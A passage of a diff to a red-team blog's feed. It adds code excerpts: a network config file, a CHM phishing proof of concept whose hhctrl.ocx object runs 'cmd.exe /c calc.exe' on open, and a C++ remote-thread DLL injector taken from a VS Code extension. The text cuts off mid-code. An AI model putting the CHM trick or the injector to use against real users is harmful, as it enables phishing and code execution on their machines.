style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>HWADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">00</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>C:<span style="color:#ae81ff">29</span><span style="color:#f92672">:</span><span style="color:#ae81ff">4</span>B:<span style="color:#ae81ff">16</span><span style="color:#f92672">:</span>B4 +</span></span><span style="display:flex;"><span>TYPE<span style="color:#f92672">=</span>Ethernet +</span></span><span style="display:flex;"><span>PROXY_METHOD<span style="color:#f92672">=</span>none +</span></span><span style="display:flex;"><span>BROWSER_ONLY<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>BOOTPROTO<span style="color:#f92672">=</span>none +</span></span><span style="display:flex;"><span>IPADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">192.168.117.100</span> +</span></span><span style="display:flex;"><span>GATEWAY<span style="color:#f92672">=</span><span style="color:#ae81ff">192.168.117.2</span> +</span></span><span style="display:flex;"><span>PREFIX<span style="color:#f92672">=</span><span style="color:#ae81ff">24</span> +</span></span><span style="display:flex;"><span>DNS1<span style="color:#f92672">=</span><span style="color:#ae81ff">114.114.114.114</span> +</span></span><span style="display:flex;"><span>DNS2<span style="color:#f92672">=</span><span style="color:#ae81ff">8.8.8.8</span> +</span></span><span style="display:flex;"><span>DEFROUTE<span style="color:#f92672">=</span>yes +</span></span><span style="display:flex;"><span>IPV4_FAILURE_FATAL<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>IPV4_DNS_PRIORITY<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span> +</span></span><span style="display:flex;"><span>IPV6INIT<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>NAME<span style="color:#f92672">=</span>eth1 +</span></span><span style="display:flex;"><span>UUID<span style="color:#f92672">=</span><span style="color:#ae81ff">8</span>a47e710<span style="color:#f92672">-</span>cadd<span style="color:#f92672">-</span><span style="color:#ae81ff">49</span>b5<span style="color:#f92672">-</span>b9b7<span style="color:#f92672">-</span><span style="color:#ae81ff">33</span>a324c4ab66 +</span></span><span style="display:flex;"><span>DEVICE<span style="color:#f92672">=</span>eth1 +</span></span><span style="display:flex;"><span>ONBOOT<span style="color:#f92672">=</span>no +</span></span></code></pre></td></tr></table> +</div> +</div><p>观察启动命令行:</p>邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h2 id="背景">背景</h2> <p> @@ -146,7 +362,50 @@ </span></span></code></pre></td></tr></table> </div> </div><h3 id="如何构建chm文件">如何构建CHM文件?</h3> -<p>可以使用<code>Microsoft HTML Help Workshop</code>工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:</p>VsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/<!-- raw HTML omitted --> +<p>可以使用<code>Microsoft HTML Help Workshop</code>工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-46f7eb69f2f9cfa3972058713818f15955e891fb99252bae45c6209f88a87e69.png" alt="2"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt; +</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">OBJECT</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Test&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;application/x-oleobject&#34;</span> <span style="color:#a6e22e">classid</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;clsid:52a2aaae-085d-4187-97ea-8c30db990436&#34;</span> <span style="color:#a6e22e">codebase</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hhctrl.ocx#Version=5,02,3790,1194&#34;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Command&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ShortCut&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Button&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Bitmap:shortcut&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Item1&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;,cmd.exe, /c calc.exe&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Item2&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;273,1,1&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">object</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt; +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Test</span>.<span style="color:#a6e22e">HHClick</span>(); +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Hello&lt;/<span style="color:#f92672">h1</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>在这段代码中,调用了<code>hhctrl.ocx</code>COM组件,该组件的方法可以执行命令:</p>VsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <p>安装完毕Python调试扩展后,会在扩展目录中生成一些文件:</p> <p> @@ -306,7 +565,145 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134 -</span></code></pr红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/<!-- raw HTML omitted --> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">// inject_dll.cpp +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;conio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;tchar.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;tlhelp32.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#pragma comment(lib, &#34;kernel32.lib&#34;) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#pragma comment(lib, &#34;user32.lib&#34;) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// Helper to free data when we leave the scope. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">DataToFree</span> { +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span> +</span></span><span style="display:flex;"><span> HANDLE hProcess; +</span></span><span style="display:flex;"><span> HANDLE snapshotHandle; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> LPVOID remoteMemoryAddr; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> remoteMemorySize; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> DataToFree(){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">~</span>DataToFree() { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> VirtualFreeEx(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess, <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr, <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize, MEM_RELEASE); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> CloseHandle(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> CloseHandle(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>}; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/** +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * All we do here is load a dll in a remote program (in a remote thread). +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Arguments must be the pid and the dll name to run. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * i.e.: inject_dll.exe &lt;pid&gt; &lt;dll path&gt; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>( <span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>argv[ ], <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>envp[ ] ) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Running executable to inject dll.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Helper to clear resources. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DataToFree dataToFree; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">3</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Expected 2 arguments (pid, dll name).&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> pid <span style="color:#f92672">=</span> _wtoi(argv[<span style="color:#ae81ff">1</span>]); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(pid <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Invalid pid.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">2</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> MAX_PATH_SIZE_PADDED <span style="color:#f92672">=</span> MAX_PATH <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> dllPath[MAX_PATH_SIZE_PADDED]; +</span></span><span style="display:flex;"><span> memset(<span style="color:#f92672">&amp;</span>dllPath[<span style="color:#ae81ff">0</span>], <span style="color:#e6db74">&#39;\0&#39;</span>, MAX_PATH_SIZE_PADDED); +</span></span><span style="display:flex;"><span> size_t pathLen <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> wcstombs_s(<span style="color:#f92672">&amp;</span>pathLen, dllPath, argv[<span style="color:#ae81ff">2</span>], MAX_PATH); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> inheritable <span style="color:#f92672">=</span> false; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> HANDLE hProcess <span style="color:#f92672">=</span> OpenProcess(PROCESS_VM_OPERATION <span style="color:#f92672">|</span> PROCESS_CREATE_THREAD <span style="color:#f92672">|</span> PROCESS_VM_READ <span style="color:#f92672">|</span> PROCESS_VM_WRITE <span style="color:#f92672">|</span> PROCESS_QUERY_INFORMATION, inheritable, pid); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hProcess <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span> <span style="color:#f92672">||</span> hProcess <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Unable to open process with pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">3</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> dataToFree.hProcess <span style="color:#f92672">=</span> hProcess; +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;OpenProcess with pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> LPVOID remoteMemoryAddr <span style="color:#f92672">=</span> VirtualAllocEx(hProcess, <span style="color:#66d9ef">nullptr</span>, MAX_PATH_SIZE_PADDED, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_EXECUTE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(remoteMemoryAddr <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to allocate memory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">4</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> dataToFree.remoteMemorySize <span style="color:#f92672">=</span> MAX_PATH_SIZE_PADDED; +</span></span><span style="display:flex;"><span> dataToFree.remoteMemoryAddr <span style="color:#f92672">=</span> remoteMemoryAddr; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;VirtualAllocEx in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> written <span style="color:#f92672">=</span> WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, <span style="color:#66d9ef">nullptr</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>written){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to write to memory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">5</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WriteProcessMemory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> LPVOID loadLibraryAddress <span style="color:#f92672">=</span> (LPVOID) GetProcAddress(GetModuleHandle(<span style="color:#e6db74">&#34;kernel32.dll&#34;</span>), <span style="color:#e6db74">&#34;LoadLibraryA&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(loadLibraryAddress <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to get LoadLibraryA address. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">6</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;loadLibraryAddress: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> HANDLE remoteThread <span style="color:#f92672">=</span> CreateRemoteThread(hProcess, <span style="color:#66d9ef">nullptr</span>, <span style="color:#ae81ff">0</span>, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">nullptr</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (remoteThread <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to CreateRemoteThread. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">7</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// We wait for the load to finish before proceeding to get the function to actually do the attach. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Waiting for LoadLibraryA to complete.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> DWORD result <span style="color:#f92672">=</span> 